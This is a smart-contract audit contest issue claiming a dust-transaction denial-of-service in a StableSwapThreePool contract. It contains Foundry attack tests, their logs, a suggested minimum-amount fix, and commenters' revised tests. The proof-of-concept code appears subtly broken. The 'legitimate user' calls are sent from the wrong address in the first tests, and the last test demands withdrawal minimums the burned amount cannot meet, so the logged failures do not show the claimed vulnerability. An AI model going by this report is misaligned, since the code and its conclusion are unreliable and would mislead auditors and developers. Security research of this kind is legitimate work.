hats-finance / Thorn-protocol-0x1286ecdac50215a366458a14968fbca4bd95067d

GNU General Public License v3.0
0 stars 0 forks source link

Dust Withdrawal DoS Vulnerability in StableSwapThreePool Contract #85

Open hats-bug-reporter[bot] opened 2 weeks ago

hats-bug-reporter[bot] commented 2 weeks ago

Github username: -- Twitter username: -- Submission hash (on-chain): 0x56b3d01cc27c214dc1a427cc667615445f7c61405dbde5726d91cdf733ddf743 Severity: medium

Description: Description

The StableSwapThreePool contract is susceptible to a Denial of Service (DoS) attack through dust withdrawals. The contract's liquidity removal functions (remove_liquidity, remove_liquidity_one_coin) and exchange function do not implement minimum amount checks. This oversight allows malicious actors to execute numerous small-value transactions, potentially blocking or significantly delaying legitimate larger transactions from other users.

This vulnerability can lead to:

  1. Disruption of normal contract operations, preventing users from executing timely trades or withdrawals.
  2. Increased gas costs for legitimate users trying to compete with the attacker's transactions.
  3. Potential loss of funds if users are forced to increase their gas prices significantly to push through transactions.

An attacker can exploit this vulnerability by repeatedly calling the vulnerable functions with minimal amounts (dust values). This flood of micro-transactions can effectively block the execution of legitimate, larger transactions from other users, rendering the contract unusable for extended periods.

Attachments

Proof of Concept (PoC) File

Key areas of concern in the StableSwapThreePool contract include:

// Vulnerable exchange function
function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy) external returns (uint256) {
    // ... (no minimum amount check for dx)
}

// Vulnerable remove_liquidity function
function remove_liquidity(uint256 _amount, uint256[N_COINS] memory min_amounts) external returns (uint256[N_COINS] memory) {
    // ... (no minimum amount check for _amount)
}

// Vulnerable remove_liquidity_one_coin function
function remove_liquidity_one_coin(uint256 _token_amount, uint256 i, uint256 min_amount) external returns (uint256) {
    // ... (no minimum amount check for _token_amount)
}

The following Foundry test suite demonstrates this vulnerability:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../contracts/stableSwap/plain-pools/StableSwapThreePool.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockERC20 is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
        _mint(msg.sender, 1000000 * 10 ** 18);
    }

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }
}

contract MockStableSwapLP is ERC20 {
    constructor() ERC20("LP Token", "LP") {}

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }

    function burnFrom(address account, uint256 amount) public {
        _burn(account, amount);
    }
}

contract StableSwapThreePoolTestd is Test {
    StableSwapThreePool pool;
    MockERC20[3] tokens;
    MockStableSwapLP lpToken;
    address owner;
    address user1;
    address user2;

    function setUp() public {
        owner = address(this);
        user1 = address(0x1);
        user2 = address(0x2);

        // Deploy mock tokens
        for (uint256 i = 0; i < 3; i++) {
            tokens[i] = new MockERC20(string(abi.encodePacked("Token", i + 1)), string(abi.encodePacked("TKN", i + 1)));
        }

        // Deploy LP token
        lpToken = new MockStableSwapLP();

        // Deploy pool
        pool = new StableSwapThreePool();
        address[3] memory tokenAddresses = [address(tokens[0]), address(tokens[1]), address(tokens[2])];
        pool.initialize(tokenAddresses, 100, 4 * 10 ** 6, 5 * 10 ** 9, owner, address(lpToken));

        // Add initial liquidity
        uint256[3] memory amounts = [uint256(1000 * 10 ** 18), uint256(1000 * 10 ** 18), uint256(1000 * 10 ** 18)];
        for (uint256 i = 0; i < 3; i++) {
            tokens[i].approve(address(pool), type(uint256).max);
        }
        pool.add_liquidity(amounts, 0);

        lpToken.transfer(user1, 1000 * 10 ** 18);
        lpToken.transfer(user2, 1000 * 10 ** 18);
    }

    function testDoSExchange() public {
        address attacker = address(0x3);
        vm.deal(attacker, 1 ether);
        tokens[0].transfer(attacker, 1000 * 10 ** 18);

        vm.prank(attacker);
        tokens[0].approve(address(pool), type(uint256).max);

        vm.prank(user2);
        tokens[1].approve(address(pool), type(uint256).max);

        // Start a transaction from a legitimate user
        vm.startPrank(user2);
        bytes memory largeExchangeCall =
            abi.encodeWithSelector(pool.exchange.selector, 1, 0, 1000 * 10 ** 18, 990 * 10 ** 18);
        vm.stopPrank();

        // Simulate concurrent dust exchanges from attacker
        for (uint256 i = 0; i < 500; i++) {
            vm.prank(attacker);
            pool.exchange(0, 1, 1, 0);

            // Try to execute the legitimate user's transaction every 10 attacker transactions
            if (i % 10 == 0) {
                (bool success,) = address(pool).call(largeExchangeCall);
                if (!success) {
                    emit log("Large exchange failed on iteration");
                    emit log_uint(i);
                } else {
                    emit log("Large exchange succeeded on iteration");
                    emit log_uint(i);
                    break;
                }
            }
        }
    }

    function testDoSRemoveLiquidity() public {
        address attacker = address(0x3);
        lpToken.transfer(attacker, 1000 * 10 ** 18);

        vm.prank(attacker);
        lpToken.approve(address(pool), type(uint256).max);

        vm.prank(user2);
        lpToken.approve(address(pool), type(uint256).max);

        // Start a transaction from a legitimate user
        vm.startPrank(user2);
        uint256[3] memory minAmounts = [uint256(990 * 10 ** 18), 990 * 10 ** 18, 990 * 10 ** 18];
        bytes memory largeRemoveLiquidityCall =
            abi.encodeWithSelector(pool.remove_liquidity.selector, 1000 * 10 ** 18, minAmounts);
        vm.stopPrank();

        // Simulate concurrent dust removals from attacker
        for (uint256 i = 0; i < 500; i++) {
            vm.prank(attacker);
            uint256[3] memory dustAmounts = [uint256(0), 0, 0];
            pool.remove_liquidity(1, dustAmounts);

            // Try to execute the legitimate user's transaction every 10 attacker transactions
            if (i % 10 == 0) {
                (bool success,) = address(pool).call(largeRemoveLiquidityCall);
                if (!success) {
                    emit log("Large removal failed on iteration");
                    emit log_uint(i);
                } else {
                    emit log("Large removal succeeded on iteration");
                    emit log_uint(i);
                    break;
                }
            }
        }
    }

    function testDoSRemoveLiquidityOneCoin() public {
        address attacker = address(0x3);
        lpToken.transfer(attacker, 1000 * 10 ** 18);

        vm.prank(attacker);
        lpToken.approve(address(pool), type(uint256).max);

        vm.prank(user2);
        lpToken.approve(address(pool), type(uint256).max);

        // Start a transaction from a legitimate user
        vm.startPrank(user2);
        bytes memory largeRemoveOneCoinCall =
            abi.encodeWithSelector(pool.remove_liquidity_one_coin.selector, 1000 * 10 ** 18, 0, 990 * 10 ** 18);
        vm.stopPrank();

        // Simulate concurrent dust removals from attacker
        for (uint256 i = 0; i < 500; i++) {
            vm.prank(attacker);
            pool.remove_liquidity_one_coin(1, 0, 0);

            // Try to execute the legitimate user's transaction every 10 attacker transactions
            if (i % 10 == 0) {
                (bool success,) = address(pool).call(largeRemoveOneCoinCall);
                if (!success) {
                    emit log("Large removal one coin failed on iteration");
                    emit log_uint(i);
                } else {
                    emit log("Large removal one coin succeeded on iteration");
                    emit log_uint(i);
                    break;
                }
            }
        }
    }
}

Here is the test suite output.

Ran 3 tests for test/DustWithdraw.t.sol:StableSwapThreePoolTestd
[PASS] testDoSExchange() (gas: 15972357)
Logs:
  Large exchange failed on iteration
  0
  Large exchange failed on iteration
  10
  Large exchange failed on iteration
  20
  Large exchange failed on iteration
  30
  Large exchange failed on iteration
  40
  Large exchange failed on iteration
  50
  Large exchange failed on iteration
  60
  Large exchange failed on iteration
  70
  Large exchange failed on iteration
  80
  Large exchange failed on iteration
  90
  Large exchange failed on iteration
  100
  Large exchange failed on iteration
  110
  Large exchange failed on iteration
  120
  Large exchange failed on iteration
  130
  Large exchange failed on iteration
  140
  Large exchange failed on iteration
  150
  Large exchange failed on iteration
  160
  Large exchange failed on iteration
  170
  Large exchange failed on iteration
  180
  Large exchange failed on iteration
  190
  Large exchange failed on iteration
  200
  Large exchange failed on iteration
  210
  Large exchange failed on iteration
  220
  Large exchange failed on iteration
  230
  Large exchange failed on iteration
  240
  Large exchange failed on iteration
  250
  Large exchange failed on iteration
  260
  Large exchange failed on iteration
  270
  Large exchange failed on iteration
  280
  Large exchange failed on iteration
  290
  Large exchange failed on iteration
  300
  Large exchange failed on iteration
  310
  Large exchange failed on iteration
  320
  Large exchange failed on iteration
  330
  Large exchange failed on iteration
  340
  Large exchange failed on iteration
  350
  Large exchange failed on iteration
  360
  Large exchange failed on iteration
  370
  Large exchange failed on iteration
  380
  Large exchange failed on iteration
  390
  Large exchange failed on iteration
  400
  Large exchange failed on iteration
  410
  Large exchange failed on iteration
  420
  Large exchange failed on iteration
  430
  Large exchange failed on iteration
  440
  Large exchange failed on iteration
  450
  Large exchange failed on iteration
  460
  Large exchange failed on iteration
  470
  Large exchange failed on iteration
  480
  Large exchange failed on iteration
  490

[PASS] testDoSRemoveLiquidity() (gas: 14479229)
Logs:
  Large removal failed on iteration
  0
  Large removal failed on iteration
  10
 // testDoSRemoveLiquidity removal failed up to 490

[PASS] testDoSRemoveLiquidityOneCoin() (gas: 20152006)
Logs:
  Large removal one coin failed on iteration
  0
  Large removal one coin failed on iteration
  10
  // testDoSRemoveLiquidityOneCoin removal failed up to 490

Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 87.92ms (192.67ms CPU time)

Ran 1 test suite in 93.21ms (87.92ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)

The test suite output shows that all three tests passed, and each test is showing multiple failures of the legitimate user's transaction attempts whilst the dust withdrawals are occurring, demonstrating the DoS vulnerability.

Revised Code File

To mitigate this vulnerability, implement minimum amount checks in the affected functions. Here's an example of how to modify the remove_liquidity function:

// Add a state variable for minimum withdrawal amount
uint256 public constant MIN_WITHDRAWAL_AMOUNT = 1e15; // Example: 0.001 tokens

function remove_liquidity(uint256 _amount, uint256[N_COINS] memory min_amounts) external returns (uint256[N_COINS] memory) {
    // Add a minimum amount check
    require(_amount >= MIN_WITHDRAWAL_AMOUNT, "Withdrawal amount too low");

    // ... (rest of the original function code)
}

Similar checks should be added to the exchange and remove_liquidity_one_coin functions:

function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy) external returns (uint256) {
    require(dx >= MIN_EXCHANGE_AMOUNT, "Exchange amount too low");
    // ... (rest of the original function code)
}

function remove_liquidity_one_coin(uint256 _token_amount, uint256 i, uint256 min_amount) external returns (uint256) {
    require(_token_amount >= MIN_WITHDRAWAL_AMOUNT, "Withdrawal amount too low");
    // ... (rest of the original function code)
}

Additionally, consider implementing a function to allow authorized addresses to update these minimum amounts if needed:

address public owner;
uint256 public MIN_WITHDRAWAL_AMOUNT = 1e15; // Initially set to 0.001 tokens
uint256 public MIN_EXCHANGE_AMOUNT = 1e15;

function setMinimumAmounts(uint256 _minWithdrawal, uint256 _minExchange) external {
    require(msg.sender == owner, "Only owner can set minimum amounts");
    require(_minWithdrawal > 0 && _minExchange > 0, "Minimum amounts must be greater than zero");
    require(_minWithdrawal <= 1e18 && _minExchange <= 1e18, "Minimum amounts cannot exceed 1 token");
    MIN_WITHDRAWAL_AMOUNT = _minWithdrawal;
    MIN_EXCHANGE_AMOUNT = _minExchange;
}

These changes introduce minimum amount checks to prevent dust transactions while allowing trusted addresses/users to adjust these minimums if needed. The additional checks in setMinimumAmounts ensure that the minimum amounts cannot be set to values that would prevent legitimate transactions.

Ghoulouis commented 2 weeks ago

Your test has a little problem, I have fixed the setup, your LP distribution is wrong.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../contracts/stableSwap/plain-pools/StableSwapThreePool.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockERC20 is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
        _mint(msg.sender, 1000000 * 10 ** 18);
    }

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }
}

contract MockStableSwapLP is ERC20 {
    constructor() ERC20("LP Token", "LP") {}

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }

    function burnFrom(address account, uint256 amount) public {
        _burn(account, amount);
    }
}

contract StableSwapThreePoolTestd is Test {
    StableSwapThreePool pool;
    MockERC20[3] tokens;
    MockStableSwapLP lpToken;
    address owner;
    address user1;
    address user2;

    function setUp() public {
        owner = address(this);
        user1 = address(0x1);
        user2 = address(0x2);
        // Deploy mock tokens
        for (uint256 i = 0; i < 3; i++) {
            tokens[i] = new MockERC20(
                string(abi.encodePacked("Token", i + 1)),
                string(abi.encodePacked("TKN", i + 1))
            );
        }
        // Deploy LP token
        lpToken = new MockStableSwapLP();
        // Deploy pool
        pool = new StableSwapThreePool();
        address[3] memory tokenAddresses = [
            address(tokens[0]),
            address(tokens[1]),
            address(tokens[2])
        ];
        pool.initialize(
            tokenAddresses,
            100,
            4 * 10 ** 6,
            5 * 10 ** 9,
            owner,
            address(lpToken)
        );
        // Add initial liquidity
        uint256[3] memory amounts = [
            uint256(3000 * 10 ** 18),
            uint256(3000 * 10 ** 18),
            uint256(3000 * 10 ** 18)
        ];
        for (uint256 i = 0; i < 3; i++) {
            tokens[i].approve(address(pool), type(uint256).max);
        }
        pool.add_liquidity(amounts, 0);
        lpToken.transfer(user1, 3000 * 10 ** 18);
        lpToken.transfer(user2, 3000 * 10 ** 18);
    }

    function testDoSRemoveLiquidity() public {
        address attacker = address(0x3);
        lpToken.transfer(attacker, 3000 * 10 ** 18);

        vm.prank(attacker);
        lpToken.approve(address(pool), type(uint256).max);

        vm.prank(user2);
        lpToken.approve(address(pool), type(uint256).max);

        // Start a transaction from a legitimate user slippage 1%
        vm.startPrank(user2);
        uint256[3] memory minAmounts = [
            uint256(990 * 10 ** 18),
            990 * 10 ** 18,
            990 * 10 ** 18
        ];
        bytes memory largeRemoveLiquidityCall = abi.encodeWithSelector(
            pool.remove_liquidity.selector,
            3000 * 10 ** 18,
            minAmounts
        );
        vm.stopPrank();

        // Simulate concurrent dust removals from attacker
        for (uint256 i = 0; i < 500; i++) {
            vm.prank(attacker);
            uint256[3] memory dustAmounts = [uint256(0), 0, 0];
            pool.remove_liquidity(1, dustAmounts);
            vm.prank(user2);
            if (i % 10 == 0) {
                (bool success, ) = address(pool).call(largeRemoveLiquidityCall);
                if (!success) {
                    emit log("Large removal failed on iteration");
                    emit log_uint(i);
                } else {
                    emit log("Large removal succeeded on iteration");
                    emit log_uint(i);
                    break;
                }
            }
        }
    }
}
Naties29 commented 2 weeks ago

@Ghoulouis I am Escalating this with the below test suite to showcase this issue following your setup.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../contracts/stableSwap/plain-pools/StableSwapThreePool.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockERC20 is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
        _mint(msg.sender, 1000000 * 10 ** 18);
    }

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }
}

contract MockStableSwapLP is ERC20 {
    constructor() ERC20("LP Token", "LP") {}

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }

    function burnFrom(address account, uint256 amount) public {
        _burn(account, amount);
    }
}

contract StableSwapThreePoolTestd is Test {
    StableSwapThreePool pool;
    MockERC20[3] tokens;
    MockStableSwapLP lpToken;
    address owner;
    address user1;
    address user2;
    address attacker;

    function setUp() public {
        owner = address(this);
        user1 = address(0x1);
        user2 = address(0x2);
        attacker = address(0x3);

        // Deploy mock tokens
        for (uint256 i = 0; i < 3; i++) {
            tokens[i] = new MockERC20(string(abi.encodePacked("Token", i + 1)), string(abi.encodePacked("TKN", i + 1)));
        }

        // Deploy LP token
        lpToken = new MockStableSwapLP();

        // Deploy pool
        pool = new StableSwapThreePool();
        address[3] memory tokenAddresses = [address(tokens[0]), address(tokens[1]), address(tokens[2])];
        pool.initialize(tokenAddresses, 100, 4 * 10 ** 6, 5 * 10 ** 9, owner, address(lpToken));

        // Add initial liquidity
        uint256[3] memory amounts = [uint256(3000 * 10 ** 18), uint256(3000 * 10 ** 18), uint256(3000 * 10 ** 18)];
        for (uint256 i = 0; i < 3; i++) {
            tokens[i].approve(address(pool), type(uint256).max);
        }
        pool.add_liquidity(amounts, 0);

        // Distribute LP tokens
        lpToken.transfer(user1, 3000 * 10 ** 18);
        lpToken.transfer(user2, 3000 * 10 ** 18);
        lpToken.transfer(attacker, 3000 * 10 ** 18);

        // Approve pool for all users
        vm.prank(user1);
        lpToken.approve(address(pool), type(uint256).max);
        vm.prank(user2);
        lpToken.approve(address(pool), type(uint256).max);
        vm.prank(attacker);
        lpToken.approve(address(pool), type(uint256).max);
    }

    function testDoSRemoveLiquidity() public {
        uint256 successfulIteration = type(uint256).max;
        uint256 gasUsed;
        uint256 dustAmount = 1; // Minimum possible amount
        uint256 largeAmount = 500 * 10 ** 18; // Half of user's balance

        // Prepare large removal call data
        uint256[3] memory minAmounts = [uint256(495 * 10 ** 18), 495 * 10 ** 18, 495 * 10 ** 18]; // 1% slippage
        bytes memory largeRemoveLiquidityCall =
            abi.encodeWithSelector(pool.remove_liquidity.selector, largeAmount, minAmounts);

        // Simulate concurrent dust removals from attacker and large removal attempts from legitimate users
        for (uint256 i = 0; i < 1000; i++) {
            // Attacker's dust removal
            vm.prank(attacker);
            uint256[3] memory dustAmounts = [uint256(0), 0, 0];
            pool.remove_liquidity(dustAmount, dustAmounts);

            if (i % 50 == 0) {
                // Set user context
                vm.prank(i % 100 == 0 ? user1 : user2);

                uint256 gasBefore = gasleft();
                (bool success,) = address(pool).call(largeRemoveLiquidityCall);
                gasUsed = gasBefore - gasleft();

                if (!success) {
                    emit log_named_uint("Large removal failed on iteration", i);
                    emit log_named_uint("Gas used", gasUsed);
                    emit log_named_address("User", i % 100 == 0 ? user1 : user2);
                } else {
                    emit log_named_uint("Large removal succeeded on iteration", i);
                    emit log_named_uint("Gas used", gasUsed);
                    emit log_named_address("User", i % 100 == 0 ? user1 : user2);
                    successfulIteration = i;
                    break;
                }
            }
        }

        if (successfulIteration == type(uint256).max) {
            emit log("Large removal never succeeded");
        } else {
            emit log_named_uint("DoS threshold (number of dust txs): ", successfulIteration);
        }
    }
}

Test output

[⠊] Compiling...
[⠊] Compiling 1 files with Solc 0.8.25
[⠒] Solc 0.8.25 finished in 1.90s
Compiler run successful!

Ran 1 test for test/DustWithdraw.t.sol:StableSwapThreePoolTestd
[PASS] testDoSRemoveLiquidity() (gas: 28170108)
Logs:
  Large removal failed on iteration: 0
  Gas used: 6348
  User: 0x0000000000000000000000000000000000000001
  Large removal failed on iteration: 50
  Gas used: 6349
  User: 0x0000000000000000000000000000000000000002
  Large removal failed on iteration: 100
  Gas used: 6349
  User: 0x0000000000000000000000000000000000000001
  Large removal failed on iteration: 150
  Gas used: 6350
  User: 0x0000000000000000000000000000000000000002
  Large removal failed on iteration: 200
  Gas used: 6350
  User: 0x0000000000000000000000000000000000000001
  Large removal failed on iteration: 250
  Gas used: 6351
  User: 0x0000000000000000000000000000000000000002
  Large removal failed on iteration: 300
  Gas used: 6351
  User: 0x0000000000000000000000000000000000000001
  Large removal failed on iteration: 350
  Gas used: 6352
  User: 0x0000000000000000000000000000000000000002
  Large removal failed on iteration: 400
  Gas used: 6353
  User: 0x0000000000000000000000000000000000000001
  Large removal failed on iteration: 450
  Gas used: 6354
  User: 0x0000000000000000000000000000000000000002
  Large removal failed on iteration: 500
  Gas used: 6354
  User: 0x0000000000000000000000000000000000000001
  Large removal failed on iteration: 550
  Gas used: 6354
  User: 0x0000000000000000000000000000000000000002
  Large removal failed on iteration: 600
  Gas used: 6355
  User: 0x0000000000000000000000000000000000000001
  Large removal failed on iteration: 650
  Gas used: 6356
  User: 0x0000000000000000000000000000000000000002
  Large removal failed on iteration: 700
  Gas used: 6357
  User: 0x0000000000000000000000000000000000000001
  Large removal failed on iteration: 750
  Gas used: 6357
  User: 0x0000000000000000000000000000000000000002
  Large removal failed on iteration: 800
  Gas used: 6358
  User: 0x0000000000000000000000000000000000000001
  Large removal failed on iteration: 850
  Gas used: 6358
  User: 0x0000000000000000000000000000000000000002
  Large removal failed on iteration: 900
  Gas used: 6359
  User: 0x0000000000000000000000000000000000000001
  Large removal failed on iteration: 950
  Gas used: 6359
  User: 0x0000000000000000000000000000000000000002
  Large removal never succeeded

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 97.49ms (92.82ms CPU time)

Ran 1 test suite in 100.89ms (97.49ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)